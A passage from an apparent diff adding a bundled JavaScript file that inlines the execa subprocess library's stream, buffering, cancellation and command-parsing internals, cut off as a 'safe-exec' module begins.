getDefaultHighWaterMark3(true); +var HIGH_WATER_MARK = DEFAULT_OBJECT_HIGH_WATER_MARK; +var iterateOnData = async function* ({ + onStdoutChunk, + controller, + binary, + shouldEncode, + encoding, + shouldSplit, + preserveNewlines, +}) { + const generators = getGenerators({ + binary, + shouldEncode, + encoding, + shouldSplit, + preserveNewlines, + }); + try { + for await (const [chunk] of onStdoutChunk) { + yield* transformChunkSync(chunk, generators, 0); + } + } catch (error) { + if (!controller.signal.aborted) { + throw error; + } + } finally { + yield* finalChunksSync(generators); + } +}; +var getGenerators = ({ + binary, + shouldEncode, + encoding, + shouldSplit, + preserveNewlines, +}) => + [ + getEncodingTransformGenerator(binary, encoding, !shouldEncode), + getSplitLinesGenerator(binary, preserveNewlines, !shouldSplit, {}), + ].filter(Boolean); + +// node_modules/execa/lib/io/contents.js +var getStreamOutput = async ({ + stream, + onStreamEnd, + fdNumber, + encoding, + buffer, + maxBuffer, + lines, + allMixed, + stripFinalNewline: stripFinalNewline2, + verboseInfo, + streamInfo, +}) => { + const logPromise = logOutputAsync({ + stream, + onStreamEnd, + fdNumber, + encoding, + allMixed, + verboseInfo, + streamInfo, + }); + if (!buffer) { + await Promise.all([resumeStream(stream), logPromise]); + return; + } + const stripFinalNewlineValue = getStripFinalNewline( + stripFinalNewline2, + fdNumber, + ); + const iterable = iterateForResult({ + stream, + onStreamEnd, + lines, + encoding, + stripFinalNewline: stripFinalNewlineValue, + allMixed, + }); + const [output] = await Promise.all([ + getStreamContents2({ + stream, + iterable, + fdNumber, + encoding, + maxBuffer, + lines, + }), + logPromise, + ]); + return output; +}; +var logOutputAsync = async ({ + stream, + onStreamEnd, + fdNumber, + encoding, + allMixed, + verboseInfo, + streamInfo: { fileDescriptors }, +}) => { + if ( + !shouldLogOutput({ + stdioItems: fileDescriptors[fdNumber]?.stdioItems, + encoding, + verboseInfo, + fdNumber, + }) + ) { + return; + } + const linesIterable = iterateForResult({ + stream, + onStreamEnd, + lines: true, + encoding, + stripFinalNewline: true, + allMixed, + }); + await logLines(linesIterable, stream, fdNumber, verboseInfo); +}; +var resumeStream = async (stream) => { + await setImmediate(); + if (stream.readableFlowing === null) { + stream.resume(); + } +}; +var getStreamContents2 = async ({ + stream, + stream: { readableObjectMode }, + iterable, + fdNumber, + encoding, + maxBuffer, + lines, +}) => { + try { + if (readableObjectMode || lines) { + return await getStreamAsArray(iterable, { maxBuffer }); + } + if (encoding === "buffer") { + return new Uint8Array( + await getStreamAsArrayBuffer(iterable, { maxBuffer }), + ); + } + return await getStreamAsString(iterable, { maxBuffer }); + } catch (error) { + return handleBufferedData( + handleMaxBuffer({ + error, + stream, + readableObjectMode, + lines, + encoding, + fdNumber, + }), + ); + } +}; +var getBufferedData = async (streamPromise) => { + try { + return await streamPromise; + } catch (error) { + return handleBufferedData(error); + } +}; +var handleBufferedData = ({ bufferedData }) => + isArrayBuffer(bufferedData) ? new Uint8Array(bufferedData) : bufferedData; + +// node_modules/execa/lib/resolve/wait-stream.js +import { finished as finished5 } from "node:stream/promises"; +var waitForStream = async ( + stream, + fdNumber, + streamInfo, + { isSameDirection, stopOnExit = false } = {}, +) => { + const state = handleStdinDestroy(stream, streamInfo); + const abortController = new AbortController(); + try { + await Promise.race([ + ...(stopOnExit ? [streamInfo.exitPromise] : []), + finished5(stream, { cleanup: true, signal: abortController.signal }), + ]); + } catch (error) { + if (!state.stdinCleanedUp) { + handleStreamError(error, fdNumber, streamInfo, isSameDirection); + } + } finally { + abortController.abort(); + } +}; +var handleStdinDestroy = ( + stream, + { originalStreams: [originalStdin], subprocess }, +) => { + const state = { stdinCleanedUp: false }; + if (stream === originalStdin) { + spyOnStdinDestroy(stream, subprocess, state); + } + return state; +}; +var spyOnStdinDestroy = (subprocessStdin, subprocess, state) => { + const { _destroy } = subprocessStdin; + subprocessStdin._destroy = (...destroyArguments) => { + setStdinCleanedUp(subprocess, state); + _destroy.call(subprocessStdin, ...destroyArguments); + }; +}; +var setStdinCleanedUp = ({ exitCode, signalCode }, state) => { + if (exitCode !== null || signalCode !== null) { + state.stdinCleanedUp = true; + } +}; +var handleStreamError = (error, fdNumber, streamInfo, isSameDirection) => { + if (!shouldIgnoreStreamError(error, fdNumber, streamInfo, isSameDirection)) { + throw error; + } +}; +var shouldIgnoreStreamError = ( + error, + fdNumber, + streamInfo, + isSameDirection = true, +) => { + if (streamInfo.propagating) { + return isStreamEpipe(error) || isStreamAbort(error); + } + streamInfo.propagating = true; + return isInputFileDescriptor(streamInfo, fdNumber) === isSameDirection + ? isStreamEpipe(error) + : isStreamAbort(error); +}; +var isInputFileDescriptor = ({ fileDescriptors }, fdNumber) => + fdNumber !== "all" && fileDescriptors[fdNumber].direction === "input"; +var isStreamAbort = (error) => error?.code === "ERR_STREAM_PREMATURE_CLOSE"; +var isStreamEpipe = (error) => error?.code === "EPIPE"; + +// node_modules/execa/lib/resolve/stdio.js +var waitForStdioStreams = ({ + subprocess, + encoding, + buffer, + maxBuffer, + lines, + stripFinalNewline: stripFinalNewline2, + verboseInfo, + streamInfo, +}) => + subprocess.stdio.map((stream, fdNumber) => + waitForSubprocessStream({ + stream, + fdNumber, + encoding, + buffer: buffer[fdNumber], + maxBuffer: maxBuffer[fdNumber], + lines: lines[fdNumber], + allMixed: false, + stripFinalNewline: stripFinalNewline2, + verboseInfo, + streamInfo, + }), + ); +var waitForSubprocessStream = async ({ + stream, + fdNumber, + encoding, + buffer, + maxBuffer, + lines, + allMixed, + stripFinalNewline: stripFinalNewline2, + verboseInfo, + streamInfo, +}) => { + if (!stream) { + return; + } + const onStreamEnd = waitForStream(stream, fdNumber, streamInfo); + if (isInputFileDescriptor(streamInfo, fdNumber)) { + await onStreamEnd; + return; + } + const [output] = await Promise.all([ + getStreamOutput({ + stream, + onStreamEnd, + fdNumber, + encoding, + buffer, + maxBuffer, + lines, + allMixed, + stripFinalNewline: stripFinalNewline2, + verboseInfo, + streamInfo, + }), + onStreamEnd, + ]); + return output; +}; + +// node_modules/execa/lib/resolve/all-async.js +var makeAllStream = ({ stdout, stderr }, { all }) => + all && (stdout || stderr) + ? mergeStreams([stdout, stderr].filter(Boolean)) + : void 0; +var waitForAllStream = ({ + subprocess, + encoding, + buffer, + maxBuffer, + lines, + stripFinalNewline: stripFinalNewline2, + verboseInfo, + streamInfo, +}) => + waitForSubprocessStream({ + ...getAllStream(subprocess, buffer), + fdNumber: "all", + encoding, + maxBuffer: maxBuffer[1] + maxBuffer[2], + lines: lines[1] || lines[2], + allMixed: getAllMixed(subprocess), + stripFinalNewline: stripFinalNewline2, + verboseInfo, + streamInfo, + }); +var getAllStream = ( + { stdout, stderr, all }, + [, bufferStdout, bufferStderr], +) => { + const buffer = bufferStdout || bufferStderr; + if (!buffer) { + return { stream: all, buffer }; + } + if (!bufferStdout) { + return { stream: stderr, buffer }; + } + if (!bufferStderr) { + return { stream: stdout, buffer }; + } + return { stream: all, buffer }; +}; +var getAllMixed = ({ all, stdout, stderr }) => + all && + stdout && + stderr && + stdout.readableObjectMode !== stderr.readableObjectMode; + +// node_modules/execa/lib/resolve/wait-subprocess.js +import { once as once8 } from "node:events"; + +// node_modules/execa/lib/verbose/ipc.js +var shouldLogIpc = (verboseInfo) => isFullVerbose(verboseInfo, "ipc"); +var logIpcOutput = (message, verboseInfo) => { + const verboseMessage = serializeVerboseMessage(message); + verboseLog({ + type: "ipc", + verboseMessage, + fdNumber: "ipc", + verboseInfo, + }); +}; + +// node_modules/execa/lib/ipc/buffer-messages.js +var waitForIpcOutput = async ({ + subprocess, + buffer: bufferArray, + maxBuffer: maxBufferArray, + ipc, + ipcOutput, + verboseInfo, +}) => { + if (!ipc) { + return ipcOutput; + } + const isVerbose2 = shouldLogIpc(verboseInfo); + const buffer = getFdSpecificValue(bufferArray, "ipc"); + const maxBuffer = getFdSpecificValue(maxBufferArray, "ipc"); + for await (const message of loopOnMessages({ + anyProcess: subprocess, + channel: subprocess.channel, + isSubprocess: false, + ipc, + shouldAwait: false, + reference: true, + })) { + if (buffer) { + checkIpcMaxBuffer(subprocess, ipcOutput, maxBuffer); + ipcOutput.push(message); + } + if (isVerbose2) { + logIpcOutput(message, verboseInfo); + } + } + return ipcOutput; +}; +var getBufferedIpcOutput = async (ipcOutputPromise, ipcOutput) => { + await Promise.allSettled([ipcOutputPromise]); + return ipcOutput; +}; + +// node_modules/execa/lib/resolve/wait-subprocess.js +var waitForSubprocessResult = async ({ + subprocess, + options: { + encoding, + buffer, + maxBuffer, + lines, + timeoutDuration: timeout, + cancelSignal, + gracefulCancel, + forceKillAfterDelay, + stripFinalNewline: stripFinalNewline2, + ipc, + ipcInput, + }, + context, + verboseInfo, + fileDescriptors, + originalStreams, + onInternalError, + controller, +}) => { + const exitPromise = waitForExit(subprocess, context); + const streamInfo = { + originalStreams, + fileDescriptors, + subprocess, + exitPromise, + propagating: false, + }; + const stdioPromises = waitForStdioStreams({ + subprocess, + encoding, + buffer, + maxBuffer, + lines, + stripFinalNewline: stripFinalNewline2, + verboseInfo, + streamInfo, + }); + const allPromise = waitForAllStream({ + subprocess, + encoding, + buffer, + maxBuffer, + lines, + stripFinalNewline: stripFinalNewline2, + verboseInfo, + streamInfo, + }); + const ipcOutput = []; + const ipcOutputPromise = waitForIpcOutput({ + subprocess, + buffer, + maxBuffer, + ipc, + ipcOutput, + verboseInfo, + }); + const originalPromises = waitForOriginalStreams( + originalStreams, + subprocess, + streamInfo, + ); + const customStreamsEndPromises = waitForCustomStreamsEnd( + fileDescriptors, + streamInfo, + ); + try { + return await Promise.race([ + Promise.all([ + {}, + waitForSuccessfulExit(exitPromise), + Promise.all(stdioPromises), + allPromise, + ipcOutputPromise, + sendIpcInput(subprocess, ipcInput), + ...originalPromises, + ...customStreamsEndPromises, + ]), + onInternalError, + throwOnSubprocessError(subprocess, controller), + ...throwOnTimeout(subprocess, timeout, context, controller), + ...throwOnCancel({ + subprocess, + cancelSignal, + gracefulCancel, + context, + controller, + }), + ...throwOnGracefulCancel({ + subprocess, + cancelSignal, + gracefulCancel, + forceKillAfterDelay, + context, + controller, + }), + ]); + } catch (error) { + context.terminationReason ??= "other"; + return Promise.all([ + { error }, + exitPromise, + Promise.all( + stdioPromises.map((stdioPromise) => getBufferedData(stdioPromise)), + ), + getBufferedData(allPromise), + getBufferedIpcOutput(ipcOutputPromise, ipcOutput), + Promise.allSettled(originalPromises), + Promise.allSettled(customStreamsEndPromises), + ]); + } +}; +var waitForOriginalStreams = (originalStreams, subprocess, streamInfo) => + originalStreams.map((stream, fdNumber) => + stream === subprocess.stdio[fdNumber] + ? void 0 + : waitForStream(stream, fdNumber, streamInfo), + ); +var waitForCustomStreamsEnd = (fileDescriptors, streamInfo) => + fileDescriptors.flatMap(({ stdioItems }, fdNumber) => + stdioItems + .filter( + ({ value, stream = value }) => + isStream(stream, { checkOpen: false }) && !isStandardStream(stream), + ) + .map(({ type, value, stream = value }) => + waitForStream(stream, fdNumber, streamInfo, { + isSameDirection: TRANSFORM_TYPES.has(type), + stopOnExit: type === "native", + }), + ), + ); +var throwOnSubprocessError = async (subprocess, { signal }) => { + const [error] = await once8(subprocess, "error", { signal }); + throw error; +}; + +// node_modules/execa/lib/convert/concurrent.js +var initializeConcurrentStreams = () => ({ + readableDestroy: /* @__PURE__ */ new WeakMap(), + writableFinal: /* @__PURE__ */ new WeakMap(), + writableDestroy: /* @__PURE__ */ new WeakMap(), +}); +var addConcurrentStream = (concurrentStreams, stream, waitName) => { + const weakMap = concurrentStreams[waitName]; + if (!weakMap.has(stream)) { + weakMap.set(stream, []); + } + const promises = weakMap.get(stream); + const promise = createDeferred(); + promises.push(promise); + const resolve = promise.resolve.bind(promise); + return { resolve, promises }; +}; +var waitForConcurrentStreams = async ({ resolve, promises }, subprocess) => { + resolve(); + const [isSubprocessExit] = await Promise.race([ + Promise.allSettled([true, subprocess]), + Promise.all([false, ...promises]), + ]); + return !isSubprocessExit; +}; + +// node_modules/execa/lib/convert/readable.js +import { Readable as Readable3 } from "node:stream"; +import { callbackify as callbackify2 } from "node:util"; + +// node_modules/execa/lib/convert/shared.js +import { finished as finished6 } from "node:stream/promises"; +var safeWaitForSubprocessStdin = async (subprocessStdin) => { + if (subprocessStdin === void 0) { + return; + } + try { + await waitForSubprocessStdin(subprocessStdin); + } catch {} +}; +var safeWaitForSubprocessStdout = async (subprocessStdout) => { + if (subprocessStdout === void 0) { + return; + } + try { + await waitForSubprocessStdout(subprocessStdout); + } catch {} +}; +var waitForSubprocessStdin = async (subprocessStdin) => { + await finished6(subprocessStdin, { + cleanup: true, + readable: false, + writable: true, + }); +}; +var waitForSubprocessStdout = async (subprocessStdout) => { + await finished6(subprocessStdout, { + cleanup: true, + readable: true, + writable: false, + }); +}; +var waitForSubprocess = async (subprocess, error) => { + await subprocess; + if (error) { + throw error; + } +}; +var destroyOtherStream = (stream, isOpen, error) => { + if (error && !isStreamAbort(error)) { + stream.destroy(error); + } else if (isOpen) { + stream.destroy(); + } +}; + +// node_modules/execa/lib/convert/readable.js +var createReadable = ( + { subprocess, concurrentStreams, encoding }, + { from, binary: binaryOption = true, preserveNewlines = true } = {}, +) => { + const binary = binaryOption || BINARY_ENCODINGS.has(encoding); + const { subprocessStdout, waitReadableDestroy } = getSubprocessStdout( + subprocess, + from, + concurrentStreams, + ); + const { readableEncoding, readableObjectMode, readableHighWaterMark } = + getReadableOptions(subprocessStdout, binary); + const { read, onStdoutDataDone } = getReadableMethods({ + subprocessStdout, + subprocess, + binary, + encoding, + preserveNewlines, + }); + const readable2 = new Readable3({ + read, + destroy: callbackify2( + onReadableDestroy.bind(void 0, { + subprocessStdout, + subprocess, + waitReadableDestroy, + }), + ), + highWaterMark: readableHighWaterMark, + objectMode: readableObjectMode, + encoding: readableEncoding, + }); + onStdoutFinished({ + subprocessStdout, + onStdoutDataDone, + readable: readable2, + subprocess, + }); + return readable2; +}; +var getSubprocessStdout = (subprocess, from, concurrentStreams) => { + const subprocessStdout = getFromStream(subprocess, from); + const waitReadableDestroy = addConcurrentStream( + concurrentStreams, + subprocessStdout, + "readableDestroy", + ); + return { subprocessStdout, waitReadableDestroy }; +}; +var getReadableOptions = ( + { readableEncoding, readableObjectMode, readableHighWaterMark }, + binary, +) => + binary + ? { readableEncoding, readableObjectMode, readableHighWaterMark } + : { + readableEncoding, + readableObjectMode: true, + readableHighWaterMark: DEFAULT_OBJECT_HIGH_WATER_MARK, + }; +var getReadableMethods = ({ + subprocessStdout, + subprocess, + binary, + encoding, + preserveNewlines, +}) => { + const onStdoutDataDone = createDeferred(); + const onStdoutData = iterateOnSubprocessStream({ + subprocessStdout, + subprocess, + binary, + shouldEncode: !binary, + encoding, + preserveNewlines, + }); + return { + read() { + onRead(this, onStdoutData, onStdoutDataDone); + }, + onStdoutDataDone, + }; +}; +var onRead = async (readable2, onStdoutData, onStdoutDataDone) => { + try { + const { value, done } = await onStdoutData.next(); + if (done) { + onStdoutDataDone.resolve(); + } else { + readable2.push(value); + } + } catch {} +}; +var onStdoutFinished = async ({ + subprocessStdout, + onStdoutDataDone, + readable: readable2, + subprocess, + subprocessStdin, +}) => { + try { + await waitForSubprocessStdout(subprocessStdout); + await subprocess; + await safeWaitForSubprocessStdin(subprocessStdin); + await onStdoutDataDone; + if (readable2.readable) { + readable2.push(null); + } + } catch (error) { + await safeWaitForSubprocessStdin(subprocessStdin); + destroyOtherReadable(readable2, error); + } +}; +var onReadableDestroy = async ( + { subprocessStdout, subprocess, waitReadableDestroy }, + error, +) => { + if (await waitForConcurrentStreams(waitReadableDestroy, subprocess)) { + destroyOtherReadable(subprocessStdout, error); + await waitForSubprocess(subprocess, error); + } +}; +var destroyOtherReadable = (stream, error) => { + destroyOtherStream(stream, stream.readable, error); +}; + +// node_modules/execa/lib/convert/writable.js +import { Writable as Writable3 } from "node:stream"; +import { callbackify as callbackify3 } from "node:util"; +var createWritable = ({ subprocess, concurrentStreams }, { to } = {}) => { + const { subprocessStdin, waitWritableFinal, waitWritableDestroy } = + getSubprocessStdin(subprocess, to, concurrentStreams); + const writable2 = new Writable3({ + ...getWritableMethods(subprocessStdin, subprocess, waitWritableFinal), + destroy: callbackify3( + onWritableDestroy.bind(void 0, { + subprocessStdin, + subprocess, + waitWritableFinal, + waitWritableDestroy, + }), + ), + highWaterMark: subprocessStdin.writableHighWaterMark, + objectMode: subprocessStdin.writableObjectMode, + }); + onStdinFinished(subprocessStdin, writable2); + return writable2; +}; +var getSubprocessStdin = (subprocess, to, concurrentStreams) => { + const subprocessStdin = getToStream(subprocess, to); + const waitWritableFinal = addConcurrentStream( + concurrentStreams, + subprocessStdin, + "writableFinal", + ); + const waitWritableDestroy = addConcurrentStream( + concurrentStreams, + subprocessStdin, + "writableDestroy", + ); + return { subprocessStdin, waitWritableFinal, waitWritableDestroy }; +}; +var getWritableMethods = (subprocessStdin, subprocess, waitWritableFinal) => ({ + write: onWrite.bind(void 0, subprocessStdin), + final: callbackify3( + onWritableFinal.bind( + void 0, + subprocessStdin, + subprocess, + waitWritableFinal, + ), + ), +}); +var onWrite = (subprocessStdin, chunk, encoding, done) => { + if (subprocessStdin.write(chunk, encoding)) { + done(); + } else { + subprocessStdin.once("drain", done); + } +}; +var onWritableFinal = async ( + subprocessStdin, + subprocess, + waitWritableFinal, +) => { + if (await waitForConcurrentStreams(waitWritableFinal, subprocess)) { + if (subprocessStdin.writable) { + subprocessStdin.end(); + } + await subprocess; + } +}; +var onStdinFinished = async (subprocessStdin, writable2, subprocessStdout) => { + try { + await waitForSubprocessStdin(subprocessStdin); + if (writable2.writable) { + writable2.end(); + } + } catch (error) { + await safeWaitForSubprocessStdout(subprocessStdout); + destroyOtherWritable(writable2, error); + } +}; +var onWritableDestroy = async ( + { subprocessStdin, subprocess, waitWritableFinal, waitWritableDestroy }, + error, +) => { + await waitForConcurrentStreams(waitWritableFinal, subprocess); + if (await waitForConcurrentStreams(waitWritableDestroy, subprocess)) { + destroyOtherWritable(subprocessStdin, error); + await waitForSubprocess(subprocess, error); + } +}; +var destroyOtherWritable = (stream, error) => { + destroyOtherStream(stream, stream.writable, error); +}; + +// node_modules/execa/lib/convert/duplex.js +import { Duplex as Duplex3 } from "node:stream"; +import { callbackify as callbackify4 } from "node:util"; +var createDuplex = ( + { subprocess, concurrentStreams, encoding }, + { from, to, binary: binaryOption = true, preserveNewlines = true } = {}, +) => { + const binary = binaryOption || BINARY_ENCODINGS.has(encoding); + const { subprocessStdout, waitReadableDestroy } = getSubprocessStdout( + subprocess, + from, + concurrentStreams, + ); + const { subprocessStdin, waitWritableFinal, waitWritableDestroy } = + getSubprocessStdin(subprocess, to, concurrentStreams); + const { readableEncoding, readableObjectMode, readableHighWaterMark } = + getReadableOptions(subprocessStdout, binary); + const { read, onStdoutDataDone } = getReadableMethods({ + subprocessStdout, + subprocess, + binary, + encoding, + preserveNewlines, + }); + const duplex2 = new Duplex3({ + read, + ...getWritableMethods(subprocessStdin, subprocess, waitWritableFinal), + destroy: callbackify4( + onDuplexDestroy.bind(void 0, { + subprocessStdout, + subprocessStdin, + subprocess, + waitReadableDestroy, + waitWritableFinal, + waitWritableDestroy, + }), + ), + readableHighWaterMark, + writableHighWaterMark: subprocessStdin.writableHighWaterMark, + readableObjectMode, + writableObjectMode: subprocessStdin.writableObjectMode, + encoding: readableEncoding, + }); + onStdoutFinished({ + subprocessStdout, + onStdoutDataDone, + readable: duplex2, + subprocess, + subprocessStdin, + }); + onStdinFinished(subprocessStdin, duplex2, subprocessStdout); + return duplex2; +}; +var onDuplexDestroy = async ( + { + subprocessStdout, + subprocessStdin, + subprocess, + waitReadableDestroy, + waitWritableFinal, + waitWritableDestroy, + }, + error, +) => { + await Promise.all([ + onReadableDestroy( + { subprocessStdout, subprocess, waitReadableDestroy }, + error, + ), + onWritableDestroy( + { + subprocessStdin, + subprocess, + waitWritableFinal, + waitWritableDestroy, + }, + error, + ), + ]); +}; + +// node_modules/execa/lib/convert/iterable.js +var createIterable = ( + subprocess, + encoding, + { from, binary: binaryOption = false, preserveNewlines = false } = {}, +) => { + const binary = binaryOption || BINARY_ENCODINGS.has(encoding); + const subprocessStdout = getFromStream(subprocess, from); + const onStdoutData = iterateOnSubprocessStream({ + subprocessStdout, + subprocess, + binary, + shouldEncode: true, + encoding, + preserveNewlines, + }); + return iterateOnStdoutData(onStdoutData, subprocessStdout, subprocess); +}; +var iterateOnStdoutData = async function* ( + onStdoutData, + subprocessStdout, + subprocess, +) { + try { + yield* onStdoutData; + } finally { + if (subprocessStdout.readable) { + subprocessStdout.destroy(); + } + await subprocess; + } +}; + +// node_modules/execa/lib/convert/add.js +var addConvertedStreams = (subprocess, { encoding }) => { + const concurrentStreams = initializeConcurrentStreams(); + subprocess.readable = createReadable.bind(void 0, { + subprocess, + concurrentStreams, + encoding, + }); + subprocess.writable = createWritable.bind(void 0, { + subprocess, + concurrentStreams, + }); + subprocess.duplex = createDuplex.bind(void 0, { + subprocess, + concurrentStreams, + encoding, + }); + subprocess.iterable = createIterable.bind(void 0, subprocess, encoding); + subprocess[Symbol.asyncIterator] = createIterable.bind( + void 0, + subprocess, + encoding, + {}, + ); +}; + +// node_modules/execa/lib/methods/promise.js +var mergePromise = (subprocess, promise) => { + for (const [property, descriptor] of descriptors) { + const value = descriptor.value.bind(promise); + Reflect.defineProperty(subprocess, property, { ...descriptor, value }); + } +}; +var nativePromisePrototype = (async () => {})().constructor.prototype; +var descriptors = ["then", "catch", "finally"].map((property) => [ + property, + Reflect.getOwnPropertyDescriptor(nativePromisePrototype, property), +]); + +// node_modules/execa/lib/methods/main-async.js +var execaCoreAsync = (rawFile, rawArguments, rawOptions, createNested) => { + const { + file, + commandArguments, + command, + escapedCommand, + startTime, + verboseInfo, + options, + fileDescriptors, + } = handleAsyncArguments(rawFile, rawArguments, rawOptions); + const { subprocess, promise } = spawnSubprocessAsync({ + file, + commandArguments, + options, + startTime, + verboseInfo, + command, + escapedCommand, + fileDescriptors, + }); + subprocess.pipe = pipeToSubprocess.bind(void 0, { + source: subprocess, + sourcePromise: promise, + boundOptions: {}, + createNested, + }); + mergePromise(subprocess, promise); + SUBPROCESS_OPTIONS.set(subprocess, { options, fileDescriptors }); + return subprocess; +}; +var handleAsyncArguments = (rawFile, rawArguments, rawOptions) => { + const { command, escapedCommand, startTime, verboseInfo } = handleCommand( + rawFile, + rawArguments, + rawOptions, + ); + const { + file, + commandArguments, + options: normalizedOptions, + } = normalizeOptions(rawFile, rawArguments, rawOptions); + const options = handleAsyncOptions(normalizedOptions); + const fileDescriptors = handleStdioAsync(options, verboseInfo); + return { + file, + commandArguments, + command, + escapedCommand, + startTime, + verboseInfo, + options, + fileDescriptors, + }; +}; +var handleAsyncOptions = ({ timeout, signal, ...options }) => { + if (signal !== void 0) { + throw new TypeError( + 'The "signal" option has been renamed to "cancelSignal" instead.', + ); + } + return { ...options, timeoutDuration: timeout }; +}; +var spawnSubprocessAsync = ({ + file, + commandArguments, + options, + startTime, + verboseInfo, + command, + escapedCommand, + fileDescriptors, +}) => { + let subprocess; + try { + subprocess = spawn(...concatenateShell(file, commandArguments, options)); + } catch (error) { + return handleEarlyError({ + error, + command, + escapedCommand, + fileDescriptors, + options, + startTime, + verboseInfo, + }); + } + const controller = new AbortController(); + setMaxListeners(Number.POSITIVE_INFINITY, controller.signal); + const originalStreams = [...subprocess.stdio]; + pipeOutputAsync(subprocess, fileDescriptors, controller); + cleanupOnExit(subprocess, options, controller); + const context = {}; + const onInternalError = createDeferred(); + subprocess.kill = subprocessKill.bind(void 0, { + kill: subprocess.kill.bind(subprocess), + options, + onInternalError, + context, + controller, + }); + subprocess.all = makeAllStream(subprocess, options); + addConvertedStreams(subprocess, options); + addIpcMethods(subprocess, options); + const promise = handlePromise({ + subprocess, + options, + startTime, + verboseInfo, + fileDescriptors, + originalStreams, + command, + escapedCommand, + context, + onInternalError, + controller, + }); + return { subprocess, promise }; +}; +var handlePromise = async ({ + subprocess, + options, + startTime, + verboseInfo, + fileDescriptors, + originalStreams, + command, + escapedCommand, + context, + onInternalError, + controller, +}) => { + const [errorInfo, [exitCode, signal], stdioResults, allResult, ipcOutput] = + await waitForSubprocessResult({ + subprocess, + options, + context, + verboseInfo, + fileDescriptors, + originalStreams, + onInternalError, + controller, + }); + controller.abort(); + onInternalError.resolve(); + const stdio = stdioResults.map((stdioResult, fdNumber) => + stripNewline(stdioResult, options, fdNumber), + ); + const all = stripNewline(allResult, options, "all"); + const result = getAsyncResult({ + errorInfo, + exitCode, + signal, + stdio, + all, + ipcOutput, + context, + options, + command, + escapedCommand, + startTime, + }); + return handleResult(result, verboseInfo, options); +}; +var getAsyncResult = ({ + errorInfo, + exitCode, + signal, + stdio, + all, + ipcOutput, + context, + options, + command, + escapedCommand, + startTime, +}) => + "error" in errorInfo + ? makeError({ + error: errorInfo.error, + command, + escapedCommand, + timedOut: context.terminationReason === "timeout", + isCanceled: + context.terminationReason === "cancel" || + context.terminationReason === "gracefulCancel", + isGracefullyCanceled: context.terminationReason === "gracefulCancel", + isMaxBuffer: errorInfo.error instanceof MaxBufferError, + isForcefullyTerminated: context.isForcefullyTerminated, + exitCode, + signal, + stdio, + all, + ipcOutput, + options, + startTime, + isSync: false, + }) + : makeSuccessResult({ + command, + escapedCommand, + stdio, + all, + ipcOutput, + options, + startTime, + }); + +// node_modules/execa/lib/methods/bind.js +var mergeOptions = (boundOptions, options) => { + const newOptions = Object.fromEntries( + Object.entries(options).map(([optionName, optionValue]) => [ + optionName, + mergeOption(optionName, boundOptions[optionName], optionValue), + ]), + ); + return { ...boundOptions, ...newOptions }; +}; +var mergeOption = (optionName, boundOptionValue, optionValue) => { + if ( + DEEP_OPTIONS.has(optionName) && + isPlainObject(boundOptionValue) && + isPlainObject(optionValue) + ) { + return { ...boundOptionValue, ...optionValue }; + } + return optionValue; +}; +var DEEP_OPTIONS = /* @__PURE__ */ new Set(["env", ...FD_SPECIFIC_OPTIONS]); + +// node_modules/execa/lib/methods/create.js +var createExeca = (mapArguments, boundOptions, deepOptions, setBoundExeca) => { + const createNested = (mapArguments2, boundOptions2, setBoundExeca2) => + createExeca(mapArguments2, boundOptions2, deepOptions, setBoundExeca2); + const boundExeca = (...execaArguments) => + callBoundExeca( + { + mapArguments, + deepOptions, + boundOptions, + setBoundExeca, + createNested, + }, + ...execaArguments, + ); + if (setBoundExeca !== void 0) { + setBoundExeca(boundExeca, createNested, boundOptions); + } + return boundExeca; +}; +var callBoundExeca = ( + { + mapArguments, + deepOptions = {}, + boundOptions = {}, + setBoundExeca, + createNested, + }, + firstArgument, + ...nextArguments +) => { + if (isPlainObject(firstArgument)) { + return createNested( + mapArguments, + mergeOptions(boundOptions, firstArgument), + setBoundExeca, + ); + } + const { file, commandArguments, options, isSync } = parseArguments({ + mapArguments, + firstArgument, + nextArguments, + deepOptions, + boundOptions, + }); + return isSync + ? execaCoreSync(file, commandArguments, options) + : execaCoreAsync(file, commandArguments, options, createNested); +}; +var parseArguments = ({ + mapArguments, + firstArgument, + nextArguments, + deepOptions, + boundOptions, +}) => { + const callArguments = isTemplateString(firstArgument) + ? parseTemplates(firstArgument, nextArguments) + : [firstArgument, ...nextArguments]; + const [initialFile, initialArguments, initialOptions] = normalizeParameters( + ...callArguments, + ); + const mergedOptions = mergeOptions( + mergeOptions(deepOptions, boundOptions), + initialOptions, + ); + const { + file = initialFile, + commandArguments = initialArguments, + options = mergedOptions, + isSync = false, + } = mapArguments({ + file: initialFile, + commandArguments: initialArguments, + options: mergedOptions, + }); + return { + file, + commandArguments, + options, + isSync, + }; +}; + +// node_modules/execa/lib/methods/command.js +var mapCommandAsync = ({ file, commandArguments }) => + parseCommand(file, commandArguments); +var mapCommandSync = ({ file, commandArguments }) => ({ + ...parseCommand(file, commandArguments), + isSync: true, +}); +var parseCommand = (command, unusedArguments) => { + if (unusedArguments.length > 0) { + throw new TypeError( + `The command and its arguments must be passed as a single string: ${command} ${unusedArguments}.`, + ); + } + const [file, ...commandArguments] = parseCommandString(command); + return { file, commandArguments }; +}; +var parseCommandString = (command) => { + if (typeof command !== "string") { + throw new TypeError(`The command must be a string: ${String(command)}.`); + } + const trimmedCommand = command.trim(); + if (trimmedCommand === "") { + return []; + } + const tokens = []; + for (const token of trimmedCommand.split(SPACES_REGEXP)) { + const previousToken = tokens.at(-1); + if (previousToken && previousToken.endsWith("\\")) { + tokens[tokens.length - 1] = `${previousToken.slice(0, -1)} ${token}`; + } else { + tokens.push(token); + } + } + return tokens; +}; +var SPACES_REGEXP = / +/g; + +// node_modules/execa/lib/methods/script.js +var setScriptSync = (boundExeca, createNested, boundOptions) => { + boundExeca.sync = createNested(mapScriptSync, boundOptions); + boundExeca.s = boundExeca.sync; +}; +var mapScriptAsync = ({ options }) => getScriptOptions(options); +var mapScriptSync = ({ options }) => ({ + ...getScriptOptions(options), + isSync: true, +}); +var getScriptOptions = (options) => ({ + options: { ...getScriptStdinOption(options), ...options }, +}); +var getScriptStdinOption = ({ input: input2, inputFile, stdio }) => + input2 === void 0 && inputFile === void 0 && stdio === void 0 + ? { stdin: "inherit" } + : {}; +var deepScriptOptions = { preferLocal: true }; + +// node_modules/execa/index.js +var execa = createExeca(() => ({})); +var execaSync = createExeca(() => ({ isSync: true })); +var execaCommand = createExeca(mapCommandAsync); +var execaCommandSync = createExeca(mapCommandSync); +var execaNode = createExeca(mapNode); +var $ = createExeca(mapScriptAsync, {}, deepScriptOptions, setScriptSync); +var { + sendMessage: sendMessage2, + getOneMessage: getOneMessage2, + getEachMessage: getEachMessage2, + getCancelSignal: getCancelSignal2, +} = getIpcExport(); + +// src/safe-exec.js +import os from "node:os"; +var ALLOWED = /* 